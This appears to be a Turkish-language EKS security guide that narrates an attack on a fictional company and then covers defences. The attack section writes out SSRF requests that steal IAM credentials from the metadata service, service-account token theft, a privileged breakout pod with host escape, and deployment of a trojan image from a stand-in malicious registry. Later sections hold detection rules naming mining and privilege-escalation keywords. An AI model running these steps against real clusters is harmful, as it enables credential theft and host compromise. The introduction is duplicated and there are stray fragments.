AWS Security Amazon EKS
Güvenlik Savaş Alanına Hoş Geldiniz
Bulut güvenliğinin satranç oyununda, Amazon EKS hem korumanız gereken şah hem de modern siber savaşın yaşandığı savaş alanıdır. Her pod potansiyel bir kale, her hizmet hesabı bir geçit ve her yanlış yapılandırma, keşfedilmeyi bekleyen bir arka kapıdır.
Şöyle hayal edin: Salı sabahı saat 3’te TechCorp’un Baş DevSecOps Mühendisi Sarah, içini ürperten bir uyarı alır. Milyon dolarlık fintech platformlarının kalbi olan üretim EKS kümeleri olağandışı hareketler sergilemektedir. Pod’lar izinsiz olarak çoğalıyor, ağ trafiği harici IP’lere doğru fırlıyor ve daha da kötüsü, müşteri veritabanları adeta kan kaybediyor.
Bu bir kurgu değil. Bu, konteynerli iş yüklerinin hem inovasyon hem de saldırılar için yeni bir cephe haline gelmesiyle dünya genelindeki kuruluşların karşılaştığı gerçekliktir. Amazon EKS güvenlik savaş alanına hoş geldiniz. Burada riskler sadece dolarlarla değil, müşteri güveni, yasal uyumluluk ve kurumsal hayatta kalma ile ölçülmektedir.
Amazon Elastic Kubernetes Service (EKS), uygulamaları nasıl dağıttığımız, yönettiğimiz ve ölçeklendirdiğimiz konusunda bir paradigma değişikliğini temsil eder. Tıpkı bir Orta Çağ kalesi gibi, doğru yapılandırıldığında güçlü savunmalar sunar, ancak her kule, kapı ve köprü yanlış ellerde bir güvenlik açığı haline gelebilir.
EKS, kolaylık ve güvenlik arasında doğal bir sürtüşme yaratan paylaşılan sorumluluk modeli üzerinde çalışır. AWS, Kubernetes kontrol düzlemini yönetir, ancak çalışan düğümler (worker nodes), pod güvenliği, ağ politikaları ve IAM yapılandırmaları dahil olmak üzere diğer her şey tamamen sizin sorumluluğunuzdadır.
EKS hakkındaki en tehlikeli yanlış anlamalardan biri, küme içindeki zımni güven kavramıdır. Gerçekte, EKS kümeniz bir kaleden çok bir şehre benzer. Farklı mahalleleri (ad alanları - namespaces), farklı erişim seviyelerine sahip çeşitli sakinleri (pod’lar) ve sürekli uyanıklık gerektiren çok sayıda giriş noktası vardır.
Aşağıdaki diyagramlar, ayrıntılı olarak inceleyeceğimiz üç ana saldırı vektörünü göstermektedir:
EKS Ortamınızı Anlamak - Keşif Aşaması
aws eks list-clusters --region us-west-2
aws eks describe-cluster --name production-cluster --region us-west-2
kubectl get nodes -o wide
kubectl get pods --all-namespaces


Hikayemiz, TechCorp’un güvenlik duruşunu değerlendirmek için işe alınan bir sızma testi uzmanı olan Alex ile başlıyor. Birçok modern saldırı gibi, bu da gelişmiş sıfırıncı gün (zero-day) açıklarla değil, basit bir yanlış yapılandırmayla başlıyor.
Saldırı şu şekilde ilerliyor:
-
Adım 1: Güvenlik Açığı Olan Uç Noktanın Keşfi
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/"
Adım 2: SSRF Yoluyla Meta Veri Hizmetine Erişme
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
-
Adım 3: IAM Rolü Kimlik Bilgilerini Çıkarma
curl "http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node-role" -
Adım 4: Çalınan Kimlik Bilgilerini Silah Haline Getirme
export AWS_ACCESS_KEY_ID="AKIAEXAMPLE123456789" export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEHoaCXVzLXdlc3QtMiJGMEQCIH..."
Gerçek Dünya Etkisi: 2023 yılında, büyük bir e-ticaret platformu tam da bu kalıbı takip eden bir ihlal yaşadı ve 50 milyon müşteri kaydının açığa çıkmasına ve 47 milyon dolarlık düzenleyici para cezalarına yol açtı.
Kümenin içine girdikten sonra, saldırganlar ayrıcalık yükseltmeye odaklanır. Bunu, bir şehirde turist olmaktan belediye başkanı olmaya geçiş gibi düşünebilirsiniz.
Yükseltme sırası genellikle şu kalıbı izler:
İlk Pod Erişimi → Hizmet Hesabı Jetonu Hırsızlığı → RBAC Sayımı → Ayrıcalıklı Pod Oluşturma → Ana Bilgisayardan Çıkış → Düğüm İhlali
-
Adım 5: EKS Kaynaklarını Sayma
aws eks list-clusters aws eks describe-cluster --name production-cluster -
Mevcut İzinleri Sayma
kubectl auth can-i --list -
Hizmet Hesabı Jetonlarını Çalma
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | base64 -d -
Ayrıcalıklı bir Çıkış Podu (Breakout Pod) Oluşturma
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: breakout-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: breakout
image: alpine
command: ["/bin/sh"]
stdin: true
tty: true
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
-
Ana Bilgisayar Sistemine Kaçış
kubectl exec -it breakout-pod -- chroot /host
Modern saldırganlar, en etkili saldırıların genellikle güvenilir kanallar aracılığıyla geldiğini bilirler. EKS dünyasında bu, kapsayıcı görüntülerin (container images), Helm grafiklerinin veya CI/CD boru hatlarının tehlikeye atılması anlamına gelir.
-
Kapsayıcı Kayıt Defterini Zehirleme
docker login -u attacker -p password malicious-registry.com docker tag legitimate-app:v1.0 malicious-registry.com/trojan-app:v1.0 docker push malicious-registry.com/trojan-app:v1.0 -
Truva Atını Dağıtma
kubectl set image deployment/production-app app=malicious-registry.com/trojan-app:v1.0
Aşağıdaki diyagramlar, üç katmanlı savunma yaklaşımımızı göstermektedir:
-
1. Katman: Güvenli Geliştirme (Secure Development)
-
Statik Analiz: Kodu güvensiz yapılandırmalar için tarar.
-
Bağımlılık Taraması: Güvenlik açığı olan kütüphaneleri belirler.
-
Sır Yönetimi: Hassas bilgilerin kaynak koduna sızmasını önler.
-
-
2. Katman: Güvenli Oluşturma (Secure Build)
-
İmza ve Değişmezlik (Signing & Immutability): Görüntülerin manipüle edilmediğinden emin olunur.
-
Tedarik Zinciri Kontrolleri: Kapsayıcı görüntüler, yalnızca güvenilir, taranmış kaynaklardan gelir.
-
Güvenlik Açığı Taraması: Her oluşturma işlemi sırasında güvenlik açıklarını tarar.
-
-
3. Katman: Güvenli Dağıtım ve Çalışma Zamanı (Secure Deployment & Runtime)
-
Kubernetes Güvenlik Politikaları: Ayrıcalıklı kapsayıcıların dağıtımını engeller.
-
Çalışma Zamanı İzleme: Anormal süreçleri ve dosya sistemi değişikliklerini algılar.
-
Ağ Politikaları: Yalnızca izin verilen pod iletişimi kurallarını uygular.
-
Chapter3: The Shield Wall - EKS Defense Strategies



Bulut güvenliğinin satranç oyununda, Amazon EKS hem korumanız gereken şah hem de modern siber savaşın yaşandığı savaş alanıdır. Her pod potansiyel bir kale, her hizmet hesabı bir geçit ve her yanlış yapılandırma, keşfedilmeyi bekleyen bir arka kapıdır.
Şöyle hayal edin: Salı sabahı saat 3’te TechCorp’un Baş DevSecOps Mühendisi Sarah, içini ürperten bir uyarı alır. Milyon dolarlık fintech platformlarının kalbi olan üretim EKS kümeleri olağandışı hareketler sergilemektedir. Pod’lar izinsiz olarak çoğalıyor, ağ trafiği harici IP’lere doğru fırlıyor ve daha da kötüsü, müşteri veritabanları adeta kan kaybediyor.
Bu bir kurgu değil. Bu, konteynerli iş yüklerinin hem inovasyon hem de saldırılar için yeni bir cephe haline gelmesiyle dünya genelindeki kuruluşların karşılaştığı gerçekliktir. Amazon EKS güvenlik savaş alanına hoş geldiniz. Burada riskler sadece dolarlarla değil, müşteri güveni, yasal uyumluluk ve kurumsal hayatta kalma ile ölçülmektedir.
Amazon Elastic Kubernetes Service (EKS), uygulamaları nasıl dağıttığımız ve yönettiğimiz konusunda bir paradigma değişikliğini temsil eder. Tıpkı bir Orta Çağ kalesi gibi, doğru yapılandırıldığında güçlü savunmalar sunar, ancak her kule, kapı ve köprü yanlış ellerde bir güvenlik açığı haline gelebilir.
EKS, kolaylık ve güvenlik arasında doğal bir sürtüşme yaratan paylaşılan sorumluluk modeli üzerinde çalışır. AWS, Kubernetes kontrol düzlemini yönetir, ancak çalışan düğümler (worker nodes), pod güvenliği, ağ politikaları ve IAM yapılandırmaları dahil olmak üzere diğer her şey tamamen sizin sorumluluğunuzdadır.
EKS hakkındaki en tehlikeli yanlış anlamalardan biri, küme içindeki zımni güven kavramıdır. Gerçekte, EKS kümeniz bir kaleden çok bir şehre benzer. Farklı mahalleleri (ad alanları - namespaces), farklı erişim seviyelerine sahip çeşitli sakinleri (pod’lar) ve sürekli uyanıklık gerektiren çok sayıda giriş noktası vardır.
Aşağıdaki diyagramlar, ayrıntılı olarak inceleyeceğimiz üç ana saldırı vektörünü göstermektedir:
EKS Ortamınızı Anlamak - Keşif Aşaması
aws eks list-clusters --region us-west-2
aws eks describe-cluster --name production-cluster --region us-west-2
kubectl get nodes -o wide
kubectl get pods --all-namespaces
EKS Güvenliğinde Sıfır Güven (Zero Trust) Yaklaşımı
EKS’de sıfır güveni uygulamak, düşünce biçiminde temel bir değişim gerektirir. Küme çevre çizgisi içindeki herhangi bir şeye güvenmek yerine, her bileşen kimliğini ve yetkilendirmesini sürekli olarak kanıtlamak zorundadır.
Mikro-segmentasyon için ağ politikaları uygulama:
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-ingress
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
EOF
Pod Güvenlik Standartlarını Yapılandırma:
kubectl label namespace production pod-security.kubernetes.io/enforce=restricted
kubectl label namespace production pod-security.kubernetes.io/audit=restricted
kubectl label namespace production pod-security.kubernetes.io/warn=restricted
Çalışma Zamanı Güvenliği
Çalışma zamanı güvenliği için Falco’yu Uygulama:
# falco-rules.yaml
- rule: Suspicious Network Activity
desc: Şüpheli dışa giden ağ bağlantılarını tespit et
condition: >
outbound and fd.ip != "" and
(fd.ip.net in (external_networks) or fd.ip in (suspicious_ips))
output: >
Şüpheli dışa giden bağlantı (user=%user.name proc=%proc.name
dest_ip=%fd.rip dest_port=%fd.rport)
priority: WARNING
- rule: Privileged Container Spawn
desc: Tehlikeli ayrıcalıklarla çalışan kapsayıcıları tespit et
condition: >
spawned_process and container and
(proc.args contains "--privileged" or
proc.args contains "--cap-add=SYS_ADMIN")
output: >
Ayrıcalıklı kapsayıcı tespit edildi (user=%user.name container=%container.name
proc=%proc.name args=%proc.args)
priority: CRITICAL
Güvenli ve Güvenli Olmayan Terraform Mimarisi
Bilgi tabanımızdaki Terraform yapılandırması, hem güvenli hem de güvensiz desenleri gösteriyor:
Güvenli Mimari Deseni:
# Güvenli EKS kümesi yapılandırması
module "eks" {
source = "terraform-aws-modules/eks/aws"
cluster_name = var.cluster_name
cluster_version = "1.31"
# Güvenlik yapılandırmaları
cluster_endpoint_public_access = false # Sadece özel uç noktalar
cluster_endpoint_private_access = true
# Denetim kaydını etkinleştir
cluster_enabled_log_types = ["api", "audit", "authenticator", "controllerManager", "scheduler"]
# Dururken şifreleme
cluster_encryption_config = [{
provider_key_arn = aws_kms_key.eks.arn
resources = ["secrets"]
}]
# Ağ güvenliği
vpc_id = module.vpc.vpc_id
subnet_ids = module.vpc.private_subnets
# Güvenlik sağlamlaştırmalı düğüm grupları
eks_managed_node_groups = {
secure_nodes = {
instance_types = ["t3.medium"]
capacity_type = "ON_DEMAND" # Kritik iş yükleri için spot'tan kaçının
# Güvenlik yapılandırmaları
block_device_mappings = {
xvda = {
device_name = "/dev/xvda"
ebs = {
volume_size = 100
volume_type = "gp3"
encrypted = true
kms_key_id = aws_kms_key.eks.arn
delete_on_termination = true
}
}
}
# Meta veri hizmeti kısıtlamaları
metadata_options = {
http_endpoint = "enabled"
http_tokens = "required" # IMDSv2'yi zorunlu kıl
http_put_response_hop_limit = 1
}
}
}
}
# Şifreleme için KMS anahtarı
resource "aws_kms_key" "eks" {
escription = "EKS encryption key"
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Principal = {
AWS = "arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"
}
Action = "kms:*"
Resource = "*"
}
]
})
}
Güvenli Olmayan Mimari (Yapılmaması Gerekenler):
| Güvenlik Sorunu | Güvenli Olmayan Yapılandırma | Güvenlik Etkisi |
|---|---|---|
| Halka Açık API Uç Noktası | cluster_endpoint_public_access = true |
Kubernetes API’sini internete maruz bırakır |
| Şifreleme Yok | cluster_encryption_config eksik |
Gizli veriler düz metin olarak saklanır |
| Ayrıcalıklı IMDS | http_tokens = "optional" |
IMDSv1 saldırılarına olanak tanır |
| Aşırı İzinli RBAC | Varsayılan hizmet hesapları cluster-admin ile |
Ayrıcalık yükseltme fırsatları |
| Ağ Politikası Yok | NetworkPolicy kaynakları eksik |
Doğu-batı trafiği kısıtlanmamıştır |
Gerçek Dünya Senaryoları ve Yanıtları
Saldırı: Kripto Madenciliği
TechCorp, EKS kümelerinde olağandışı CPU kullanım desenleri keşfeder. Soruşturma, tehlikeye atılmış bir CI/CD boru hattı aracılığıyla dağıtılan kripto para madencilerinin olduğunu ortaya çıkarır.
Saldırı Zinciri:
-
Tehlikeye atılmış GitHub jetonu
-
Dağıtım YAML’sine kötü niyetli kod enjeksiyonu
-
Ayrıcalıklı pod’lar aracılığıyla kripto madenci dağıtımı
-
Kaynak tüketimi ve hizmet kalitesinde düşüş
Savunma Yanıtı:
# Acil müdahale
kubectl get pods --all-namespaces | grep -E "(high-cpu|unknown)"
kubectl delete pod suspicious-pod-12345 --force --grace-period=0
# Kaynak izleme
kubectl top pods --all-namespaces
kubectl describe pod suspicious-pod-12345
# Ağ trafiği analizi
kubectl exec -it network-monitor -- tcpdump -i any host mining-pool.com
Arka Plan: Büyük bir perakende şirketi, EKS küme kaynaklarının %40’ını tüketen yetkisiz kripto para madenciliği operasyonları keşfetti ve bu durum aylık yaklaşık 50.000 dolarlık beklenmedik AWS ücretlerine mal oldu.
Saldırı Zaman Çizelgesi:
-
0. Gün: Kimlik avı e-postası, geliştirici iş istasyonunu tehlikeye atar
-
2. Gün: Saldırgan, şirket GitHub depolarına erişim sağlar
-
5. Gün: Otomatikleştirilmiş CI/CD aracılığıyla kötü niyetli Helm grafiği dağıtılır
-
12. Gün: Olağandışı kaynak tüketimi tespit edilir
-
15. Gün: Tam olay müdahalesi başlatılır
Öğrenilen Dersler:
-
Kaynak kotaları, kaynak tüketimi saldırılarını önler.
-
Görüntü taraması, kötü niyetli kapsayıcıları erken yakalar.
-
Ağ politikaları, yanlamasına hareketi sınırlar.
-
Düzenli güvenlik eğitimi, kimlik avı başarı oranını düşürür.
Saldırı: Veri Sızdırma
Saldırganlar, EKS pod ihlali yoluyla bir müşteri veritabanına erişim sağlar ve hassas finansal verileri dışarı sızdırmaya çalışır.
Tespit Mekanizmaları:
# Olağandışı veri aktarımı için CloudWatch alarmı
resource "aws_cloudwatch_metric_alarm" "unusual_data_transfer" {
alarm_name = "eks-unusual-data-transfer"
comparison_operator = "GreaterThanThreshold"
evaluation_periods = "2"
metric_name = "NetworkOut"
namespace = "AWS/EKS"
period = "300"
statistic = "Sum"
threshold = "1000000000" # 1GB
alarm_description = "Bu metrik, olağandışı veri çıkışını izler"
alarm_actions = [aws_sns_topic.security_alerts.arn]
}
Pod Güvenlik Politikası Uygulaması:
apiVersion: v1
kind: Namespace
metadata:
name: secure-production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
spec: {}
---
# Örnek güvenli pod spesifikasyonu
apiVersion: v1
kind: Pod
metadata:
name: secure-app
namespace: secure-production
spec:
securityContext:
runAsNonRoot: true
runAsUser: 10001
fsGroup: 10001
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: secure-app:v1.0
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 10001
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
resources:
limits:
memory: "128Mi"
cpu: "100m"
requests:
memory: "64Mi"
cpu: "50m"
Güvenli RBAC Uygulaması:
# Minimal geliştirici rolü
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: development
name: developer
rules:
- apiGroups: [""]
resources: ["pods", "services", "configmaps"]
verbs: ["get", "list", "create", "update", "patch"]
- apiGroups: ["apps"]
resources: ["deployments", "replicasets"]
verbs: ["get", "list", "create", "update", "patch"]
---
# Geliştiricileri role bağlama
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: developer-binding
namespace: development
subjects:
- kind: User
name: developer@company.com
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: developer
apiGroup: rbac.authorization.k8s.io
Container Insights’ı Etkinleştirme:
aws logs create-log-group --log-group-name "/aws/containerinsights/production-cluster/application"
aws logs create-log-group --log-group-name "/aws/containerinsights/production-cluster/host"
aws logs create-log-group --log-group-name "/aws/containerinsights/production-cluster/dataplane"
# CloudWatch aracısını dağıtma
kubectl apply -f https://raw.githubusercontent.com/aws-samples/amazon-cloudwatch-container-insights/latest/k8s-deployment-manifest-
templates/deployment-mode/daemonset/container-insights-monitoring/cloudwatch-namespace.yaml
kubectl apply -f https://raw.githubusercontent.com/aws-samples/amazon-cloudwatch-container-insights/latest/k8s-deployment-manifest-
templates/deployment-mode/daemonset/container-insights-monitoring/cwagent/cwagent-daemonset.yaml
Otomatik Olay Müdahale Betiği:
#!/bin/bash
# incident-response.sh - EKS Olay Müdahalesi Otomasyonu
CLUSTER_NAME="production-cluster"
SUSPICIOUS_POD=$1
NAMESPACE=$2
echo "[INCIDENT] Pod için olay müdahalesi başlatılıyor: $SUSPICIOUS_POD, ad alanı: $NAMESPACE"
# 1. Kanıt toplama
kubectl describe pod $SUSPICIOUS_POD -n $NAMESPACE > evidence/pod-description-$(date +%s).log
kubectl logs $SUSPICIOUS_POD -n $NAMESPACE > evidence/pod-logs-$(date +%s).log
# 2. Ağ izolasyonu
kubectl patch networkpolicy isolate-pod -n $NAMESPACE --type='merge' -p="{\"spec\":{\"podSelector\":{\"matchLabels\":
{\"app\":\"$SUSPICIOUS_POD\"}}}}"
# 3. Kaynak limitleri
kubectl patch pod $SUSPICIOUS_POD -n $NAMESPACE --type='merge' -p='{"spec":{"containers":[{"name":"container","resources":{"limits":
{"cpu":"1m","memory":"1Mi"}}}]}}'
# 4. Bildirim
aws sns publish --topic-arn arn:aws:sns:us-west-2:123456789012:security-alerts \
--message "GÜVENLİK OLAYI: Şüpheli pod $SUSPICIOUS_POD, ad alanı $NAMESPACE'de izole edildi"
echo "[INCIDENT] Müdahale eylemleri tamamlandı. Pod izole edildi ve kanıtlar toplandı."
Saldırı Zinciri: SQL Enjeksiyonu → Kapsayıcıdan Kaçış → Hizmet Hesabı Jetonu Hırsızlığı → RBAC Yükseltme → Veritabanı Erişimi → Veri Sızdırma
![[Pasted image 20250822140711.png]]
İhlal Sonrası Uygulanan Savunma Önlemleri:
# Veri kaybını önleme politikası
apiVersion: v1
kind: NetworkPolicy
metadata:
name: database-isolation
namespace: production
spec:
podSelector:
matchLabels:
app: database
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: backend-api
ports:
- protocol: TCP
port: 5432
egress:
- to: []
ports:
- protocol: TCP
port: 53 # Yalnızca DNS
EKS Güvenlik Araç Kiti
Bu bölüm, EKS güvenlik duruşunuzu denetlemek ve güçlendirmek için kullanabileceğiniz ek araç ve teknikleri içerir.
Davranış Analizi İçin Örnek Python Betiği:
# anomaly-detector.py - EKS Davranış Analizi
import boto3
import json
from datetime import datetime, timedelta
class EKSAnomalyDetector:
def __init__(self, cluster_name):
self.cluster_name = cluster_name
self.cloudwatch = boto3.client('cloudwatch')
self.eks = boto3.client('eks')
def detect_unusual_pod_creation(self):
"""Olağandışı pod oluşturma desenlerini tespit et"""
end_time = datetime.utcnow()
start_time = end_time - timedelta(hours=1)
response = self.cloudwatch.get_metric_statistics(
Namespace='AWS/EKS',
MetricName='pod_number_of_containers',
Dimensions=[
{'Name': 'ClusterName', 'Value': self.cluster_name}
],
StartTime=start_time,
EndTime=end_time,
Period=300,
Statistics=['Sum']
)
# Anormallikleri analiz et
values = [point['Sum'] for point in response['Datapoints']]
avg = sum(values) / len(values) if values else 0
for value in values[-3:]: # Son 3 veri noktasını kontrol et
if value > avg * 2: # %200 artış eşiği
self.trigger_alert(f"Olağandışı pod oluşturma artışı: {value} vs ortalama {avg}")
def trigger_alert(self, message):
sns = boto3.client('sns')
sns.publish(
TopicArn='arn:aws:sns:us-west-2:123456789012:eks-security-alerts',
Message=message,
Subject='EKS Güvenlik Uyarısı'
)
GuardDuty EKS Koruması:
apiVersion: v1
kind: ConfigMap
metadata:
name: guardduty-eks-config
namespace: kube-system
data:
enable-eks-addon-management: "true"
enable-eks-runtime-monitoring: "true"
---
# Özel tehdit tespit kuralları
apiVersion: v1
kind: ConfigMap
metadata:
name: threat-detection-rules
data:
rules.yaml: |
- name: "Şüpheli ikili dosya yürütme"
pattern: ".*(/tmp/|/dev/shm/).*\\.(sh|py|elf)"
severity: "high"
action: "alert"
- name: "Kripto para madenciliği göstergeleri"
pattern: ".*(mining|stratum|cryptonote|monero).*"
severity: "critical"
action: "block"
- name: "Ayrıcalık yükseltme girişimi"
pattern: ".*(sudo|su|chmod \\+s|setuid).*"
severity: "high"
action: "alert"
Küme Güvenlik Denetimi Betiği:
echo "=== EKS Küme Güvenlik Değerlendirmesi ==="
# 1. Küme yapılandırmasını kontrol et
aws eks describe-cluster --name $CLUSTER_NAME --query 'cluster.{Version:version,Endpoint:endpoint,PublicAccess:resourcesVpcConfig.endpointConfigPublicAccess}'
# 2. RBAC izinlerini denetle
kubectl auth can-i --list --as=system:serviceaccount:default:default
# 3. Ayrıcalıklı kapsayıcıları kontrol et
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.securityContext.privileged}{"\n"}{end}' | grep true
# 4. Ağ politikalarının varlığını doğrula
kubectl get networkpolicies --all-namespaces
# 5. Ana bilgisayar ağı kullanımını kontrol et
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.name}{" "}{.spec.hostNetwork}{"\n"}{end}' | grep true
# 6. Hizmet hesaplarını denetle
kubectl get serviceaccounts --all-namespaces
# 7. Maruz kalan hizmetleri kontrol et
kubectl get services --all-namespaces -o wide | grep LoadBalancer
# 8. Pod güvenlik standartlarını doğrula
kubectl get namespaces -o jsonpath='{range .items[*]}{.metadata.name}{": "}{.metadata.labels.pod-security\.kubernetes\.io/enforce}{"\n"}{end}'
Acil Müdahale Araç Kiti:
# Şüpheli pod'u izole et
kubectl patch networkpolicy quarantine -p '{"spec":{"podSelector":{"matchLabels":{"quarantine":"true"}}}}'
kubectl label pod $SUSPICIOUS_POD quarantine=true
# Adli kanıtları topla
kubectl describe pod $SUSPICIOUS_POD > evidence-$(date +%s).log
kubectl logs $SUSPICIOUS_POD --previous > logs-$(date +%s).log
# IOC'leri (Tehlike Göstergeleri) kontrol et
kubectl exec $SUSPICIOUS_POD -- ps aux | grep -E "(mining|crypto|wget|curl)"
kubectl exec $SUSPICIOUS_POD -- netstat -tulpn | grep ESTABLISHED
# Kaynak analizini yap
kubectl top pod $SUSPICIOUS_POD
kubectl describe node $(kubectl get pod $SUSPICIOUS_POD -o jsonpath='{.spec.nodeName}')
# Güvenlik bağlamını denetle
kubectl get pod $SUSPICIOUS_POD -o jsonpath='{.spec.securityContext}'
kubectl get pod $SUSPICIOUS_POD -o jsonpath='{.spec.containers[*].securityContext}'
EKS Güvenlik Sağlamlaştırma Çerçeveleri
| Çerçeve | EKS Uygulaması | Doğrulama Komutu |
|---|---|---|
| CIS Kubernetes Benchmark | Pod Güvenlik Standartları, RBAC, Ağ Politikaları | kube-bench run |
| NIST Cybersecurity Framework | Şifreleme, İzleme, Erişim Kontrolü | kubectl get psp,netpol,rbac |
| SOC 2 Type II | Denetim Kaydı, Veri Şifreleme, Erişim İncelemeleri | aws cloudtrail lookup-events |
| PCI DSS | Ağ Bölümlendirme, Şifreleme, İzleme | Özel uyumluluk betikleri |
| HIPAA | Veri Koruma, Erişim Kaydı, Şifreleme | Sağlık hizmetine özgü politikalar |
Güvenlik Araçları ve Otomasyonu
Falco Çalışma Zamanı Güvenliği:
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm upgrade --install falco falcosecurity/falco \
--namespace falco-system \
--create-namespace \
--set falco.grpc.enabled=true \
--set falco.grpcOutput.enabled=true
OPA Gatekeeper:
kubectl apply -f https://raw.githubusercontent.com/open-policy-agent/gatekeeper/release-3.14/deploy/gatekeeper.yaml
Trivy Tarayıcı:
helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm upgrade --install trivy-operator aqua/trivy-operator \
--namespace trivy-system \
--create-namespace
TLS için Cert-Manager:
kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.13.0/cert-manager.yaml
Güvenli Uygulama Şablonları
Güvenli Pod Şablonu:
apiVersion: v1
kind: Pod
metadata:
name: secure-app
labels:
app: secure-app
spec:
securityContext:
runAsNonRoot: true
runAsUser: 10001
fsGroup: 10001
seccompProfile:
type: RuntimeDefault
serviceAccountName: secure-app-sa
containers:
- name: app
image: secure-app:latest
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 10001
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE
readOnlyRootFilesystem: true
resources:
limits:
memory: "512Mi"
cpu: "500m"
ephemeral-storage: "1Gi"
requests:
memory: "256Mi"
cpu: "250m"
ephemeral-storage: "500Mi"
volumeMounts:
- name: tmp
mountPath: /tmp
- name: var-run
mountPath: /var/run
volumes:
- name: tmp
emptyDir: {}
- name: var-run
emptyDir: {}
automountServiceAccountToken: false
Ağ Politikası Şablonu:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: secure-app-netpol
spec:
podSelector:
matchLabels:
app: secure-app
policyTypes:
- Ingress
- Egress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: trusted-namespace
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
egress:
- to:
- namespaceSelector:
matchLabels:
name: database-namespace
ports:
- protocol: TCP
port: 5432
- to: []
ports:
- protocol: TCP
port: 53
- protocol: UDP
port: 53
Güvenlik Olayı Tırmanışı
Seviye 1: Otomatik Yanıt (0-15 dakika) Seviye 2: Güvenlik Ekip Lideri (15-30 dakika) Seviye 3: CISO ve Yönetici Ekibi (30+ dakika)
Acil küme kapatma:
kubectl scale deployment --all --replicas=0 --namespace=production
aws eks update-cluster-config --name $CLUSTER_NAME --resources-vpc-config endpointConfigPublicAccess=false
Kanıt saklama:
kubectl get events --all-namespaces --sort-by='.lastTimestamp' > incident-events-$(date +%s).log
kubectl get pods --all-namespaces -o yaml > incident-pods-$(date +%s).yaml
Bu kapsamlı EKS güvenlik yolculuğunu tamamlarken, siber güvenliğin bir varış noktası değil, sürekli bir yolculuk olduğunu unutmayın. Bu kılavuzda belirtilen teknikler sanatın mevcut durumunu temsil etse de, saldırganlar yöntemlerini sürekli olarak geliştiriyor.
En başarılı kuruluşlar, güvenliği paylaşılan bir sorumluluk olarak ele alır ve güvenlik değerlendirmelerini geliştirme ve operasyon döngülerinin her yönüne yerleştirir. Araçların ve tekniklerin, onları kullanan insanlar ve kullanımlarını yöneten süreçler kadar etkili olduğunu anlarlar.
Tecrübeli bir güvenlik mimarının sözleriyle: “Mükemmel güvenlik imkansızdır, ancak düşünceli, katmanlı savunmalar, küçük bir olay ile yıkıcı bir ihlal arasındaki farkı yaratır.”
Uyanık kalın, bilgili kalın ve unutmayın: bulut güvenliği oyununda, kaybetmenin tek yolu savunma yapmayı bırakmaktır.
| Terim | Açıklama |
|---|---|
| EKS (Elastic Kubernetes Service) | AWS tarafından yönetilen Kubernetes servisi. Kullanıcının Kubernetes kümesini kolayca dağıtmasını, yönetmesini ve ölçeklendirmesini sağlar. |
| Kubernetes | Konteyner tabanlı uygulamaları otomatikleştiren açık kaynaklı orkestrasyon sistemidir. Pod, Node, Deployment gibi bileşenleri içerir. |
| Pod | Kubernetes’te en küçük çalıştırılabilir birimdir. Bir veya birden fazla konteyner içerir ve aynı ağ ve depolamayı paylaşır. |
| Node (Düğüm) | Kubernetes kümesinde pod’ların çalıştığı sanal veya fiziksel makinedir. Worker node’lar iş yüklerini yürütür. |
| Control Plane (Kontrol Düzlemi) | Kubernetes kümesinin yönetim katmanıdır. API sunucusu, scheduler ve controller’lardan oluşur. AWS, EKS’te bu katmanı yönetir. |
| Namespace (Ad Alanı) | Küme içindeki kaynakları mantıksal olarak ayıran bölümlerdir. Ayrı güvenlik politikaları ve erişim kuralları tanımlamayı sağlar. |
| Service Account (Hizmet Hesabı) | Pod’ların AWS veya Kubernetes API’larına kimlik doğrulaması yapması için kullanılan hesap türüdür. Yanlış yapılandırıldığında kimlik hırsızlığı riski taşır. |
| RBAC (Role-Based Access Control) | Kubernetes’te kullanıcıların ve servis hesaplarının hangi kaynaklara hangi işlemleri yapabileceğini tanımlayan yetkilendirme modelidir. |
| IAM Role for Service Account (IRSA) | AWS IAM rolleri ile Kubernetes servis hesaplarını ilişkilendirir. AWS kaynaklarına pod bazlı erişim kontrolü sağlar. |
| SSRF (Server-Side Request Forgery) | Sunucunun dış sistemlere veya meta veri servisine (IMDS) istek göndermesi için kandırılmasıdır. AWS ortamlarında sıkça istismar edilir. |
| IMDS (Instance Metadata Service) | EC2 düğümlerinde çalışan uygulamalara geçici AWS kimlik bilgileri sağlayan servistir. EKS node rolleri bu yolla kimlik doğrular. |
